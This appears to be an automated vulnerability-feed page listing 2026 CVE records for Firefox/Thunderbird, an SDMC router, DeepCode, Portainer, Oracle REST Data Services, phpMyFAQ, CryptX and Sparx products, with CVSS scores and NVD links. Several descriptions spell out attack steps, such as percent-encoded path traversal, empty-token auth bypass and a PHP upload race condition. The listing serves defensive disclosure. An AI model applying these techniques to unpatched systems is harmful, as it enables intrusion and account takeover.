NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape in the Security: Process Sandboxing component.
https://kevwire.com/record/CVE-2026-12296
Sandbox escape in the Security: Process Sandboxing component. (Jun 16, 2026).
Sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12296).
Sources:
NVD CVE-2026-12296: https://nvd.nist.gov/vuln/detail/CVE-2026-12296
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory safety bug fixed in Thunderbird 152.
https://kevwire.com/record/CVE-2026-12298
Memory safety bug fixed in Thunderbird 152. (Jun 16, 2026).
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12298).
Sources:
NVD CVE-2026-12298: https://nvd.nist.gov/vuln/detail/CVE-2026-12298
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Same-origin policy bypass in the Networking: Cookies component.
https://kevwire.com/record/CVE-2026-12304
Same-origin policy bypass in the Networking: Cookies component. (Jun 16, 2026).
Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12304).
Sources:
NVD CVE-2026-12304: https://nvd.nist.gov/vuln/detail/CVE-2026-12304
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory safety bug fixed in Thunderbird 152.
https://kevwire.com/record/CVE-2026-12310
Memory safety bug fixed in Thunderbird 152. (Jun 16, 2026).
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12310).
Sources:
NVD CVE-2026-12310: https://nvd.nist.gov/vuln/detail/CVE-2026-12310
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory safety bug fixed in Thunderbird 152.
https://kevwire.com/record/CVE-2026-12312
Memory safety bug fixed in Thunderbird 152. (Jun 16, 2026).
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12312).
Sources:
NVD CVE-2026-12312: https://nvd.nist.gov/vuln/detail/CVE-2026-12312
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory safety bug fixed in Thunderbird 152.
https://kevwire.com/record/CVE-2026-12314
Memory safety bug fixed in Thunderbird 152. (Jun 16, 2026).
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12314).
Sources:
NVD CVE-2026-12314: https://nvd.nist.gov/vuln/detail/CVE-2026-12314
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the DOM: Security component.
https://kevwire.com/record/CVE-2026-12315
Mitigation bypass in the DOM: Security component. (Jun 16, 2026).
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12315).
Sources:
NVD CVE-2026-12315: https://nvd.nist.gov/vuln/detail/CVE-2026-12315
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the DOM: Security component.
https://kevwire.com/record/CVE-2026-12316
Mitigation bypass in the DOM: Security component. (Jun 16, 2026).
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12316).
Sources:
NVD CVE-2026-12316: https://nvd.nist.gov/vuln/detail/CVE-2026-12316
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory safety bug fixed in Thunderbird 152.
https://kevwire.com/record/CVE-2026-12317
Memory safety bug fixed in Thunderbird 152. (Jun 16, 2026).
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152 and Thunderbird 152.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12317).
Sources:
NVD CVE-2026-12317: https://nvd.nist.gov/vuln/detail/CVE-2026-12317
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152 and Thunderbird 152.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints...
https://kevwire.com/record/CVE-2026-24444
SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints... (May 28, 2026).
SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain root access by submitting the hardcoded credential to the recovery endpoint via HTTP. Attackers can leverage this hardcoded password to enable filtered SSH and Telnet services on the device, resulting in unauthenticated root-level remote access to the underlying system.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-24444).
Sources:
NVD CVE-2026-24444: https://nvd.nist.gov/vuln/detail/CVE-2026-24444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain root access by submitting the hardcoded credential to the recovery endpoint via HTTP. Attackers can leverage this hardcoded password to enable filtered SSH and Telnet services on the device, resulting in unauthenticated root-level remote access to the underlying system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read...
https://kevwire.com/record/CVE-2026-32847
DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read... (May 28, 2026).
DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read arbitrary files by supplying percent-encoded path segments to the GET /{full_path:path} endpoint. Attackers can bypass Starlette's path normalization by encoding slashes as %2F and dots as %2E%2E, causing the joined path to traverse outside FRONTEND_DIST and exposing sensitive files such as SSH private keys, TLS certificates, and application secrets with a single HTTP request.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32847).
Sources:
NVD CVE-2026-32847: https://nvd.nist.gov/vuln/detail/CVE-2026-32847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read arbitrary files by supplying percent-encoded path segments to the GET /{full_path:path} endpoint. Attackers can bypass Starlette's path normalization by encoding slashes as %2F and dots as %2E%2E, causing the joined path to traverse outside FRONTEND_DIST and exposing sensitive files such as SSH private keys, TLS certificates, and application secrets with a single HTTP request.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution.
https://kevwire.com/record/CVE-2026-33590
Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. (May 28, 2026).
Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. An authenticated non-administrative user with endpoint access can exploit these settings to read host files or obtain root equivalent 

access on the host.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33590).
Sources:
NVD CVE-2026-33590: https://nvd.nist.gov/vuln/detail/CVE-2026-33590
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. An authenticated non-administrative user with endpoint access can exploit these settings to read host files or obtain root equivalent 

access on the host.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle REST Data Services (component: Core).
https://kevwire.com/record/CVE-2026-35266
Vulnerability in Oracle REST Data Services (component: Core). (May 28, 2026).
Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).
CVSS 7.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35266).
Sources:
NVD CVE-2026-35266: https://nvd.nist.gov/vuln/detail/CVE-2026-35266
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cspumay2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any...
https://kevwire.com/record/CVE-2026-35671
phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any... (May 28, 2026).
phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35671).
Sources:
NVD CVE-2026-35671: https://nvd.nist.gov/vuln/detail/CVE-2026-35671
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ...
https://kevwire.com/record/CVE-2026-35672
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ... (May 28, 2026).
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35672).
Sources:
NVD CVE-2026-35672: https://nvd.nist.gov/vuln/detail/CVE-2026-35672
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password...
https://kevwire.com/record/CVE-2026-35675
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password... (May 28, 2026).
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35675).
Sources:
NVD CVE-2026-35675: https://nvd.nist.gov/vuln/detail/CVE-2026-35675
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without...
https://kevwire.com/record/CVE-2026-35676
phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without... (May 28, 2026).
phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35676).
Sources:
NVD CVE-2026-35676: https://nvd.nist.gov/vuln/detail/CVE-2026-35676
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.
https://kevwire.com/record/CVE-2026-41565
CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers. (May 28, 2026).
CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.

The gcm_decrypt_verify, ccm_decrypt_verify, chacha20poly1305_decrypt_verify and eax_decrypt_verify XS routines copied the caller-supplied authentication tag into a fixed 144-byte stack buffer (MAXBLOCKSIZE) without checking the supplied length. A longer tag overwrites the stack past the buffer. Version 0.088 added the clamp to gcm_decrypt_verify, and 0.088_001 added it to the other three.

Any caller of an affected helper that forwards an attacker-controlled tag longer than the buffer can trigger the overflow.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41565).
Sources:
NVD CVE-2026-41565: https://nvd.nist.gov/vuln/detail/CVE-2026-41565
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.

The gcm_decrypt_verify, ccm_decrypt_verify, chacha20poly1305_decrypt_verify and eax_decrypt_verify XS routines copied the caller-supplied authentication tag into a fixed 144-byte stack buffer (MAXBLOCKSIZE) without checking the supplied length. A longer tag overwrites the stack past the buffer. Version 0.088 added the clamp to gcm_decrypt_verify, and 0.088_001 added it to the other three.

Any caller of an affected helper that forwards an attacker-controlled tag longer than the buffer can trigger the overflow.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database.
https://kevwire.com/record/CVE-2026-42096
Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. (May 19, 2026).
Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. Due to lack of permission checks, any low privileged user can run arbitrary SQL queries within database user context.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42096).
Sources:
NVD CVE-2026-42096: https://nvd.nist.gov/vuln/detail/CVE-2026-42096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. Due to lack of permission checks, any low privileged user can run arbitrary SQL queries within database user context.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sparx Pro Cloud Server requires authentication based on requested URL.
https://kevwire.com/record/CVE-2026-42097
Sparx Pro Cloud Server requires authentication based on requested URL. (May 19, 2026).
Sparx Pro Cloud Server requires authentication based on requested URL. An attacker can omit the "model" query parameter and send the model name only in the binary blob in POST request allowing SQL query execution without authentication.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42097).
Sources:
NVD CVE-2026-42097: https://nvd.nist.gov/vuln/detail/CVE-2026-42097
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Sparx Pro Cloud Server requires authentication based on requested URL. An attacker can omit the "model" query parameter and send the model name only in the binary blob in POST request allowing SQL query execution without authentication.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role.
https://kevwire.com/record/CVE-2026-42098
Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role. (May 19, 2026).
Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role. An authenticated attacker can modify the Enterprise Architect  client behavior (e.g. using a debugger) and log in as any other user or administrator - then it is possible to do every possible change to the repository.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 17.1 and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42098).
Sources:
NVD CVE-2026-42098: https://nvd.nist.gov/vuln/detail/CVE-2026-42098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role. An authenticated attacker can modify the Enterprise Architect  client behavior (e.g. using a debugger) and log in as any other user or administrator - then it is possible to do every possible change to the repository.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 17.1 and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint.
https://kevwire.com/record/CVE-2026-42099
Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint. (May 19, 2026).
Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint. The application downloads the properties of the object pointed by guid parameter and saves loaded content in current location (__DIR__) under the specified name. An attacker with repository access can control both the filename and file contents, allowing the creation of a malicious PHP file in a current directory. Although the file is deleted after processing, a race condition exists: if the response transmission is delayed (e.g., via a large file or slow client connection), the file remains accessible. During this window, the attacker can issue a second request to execute the malicious PHP file, resulting in remote code execution.








The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42099).
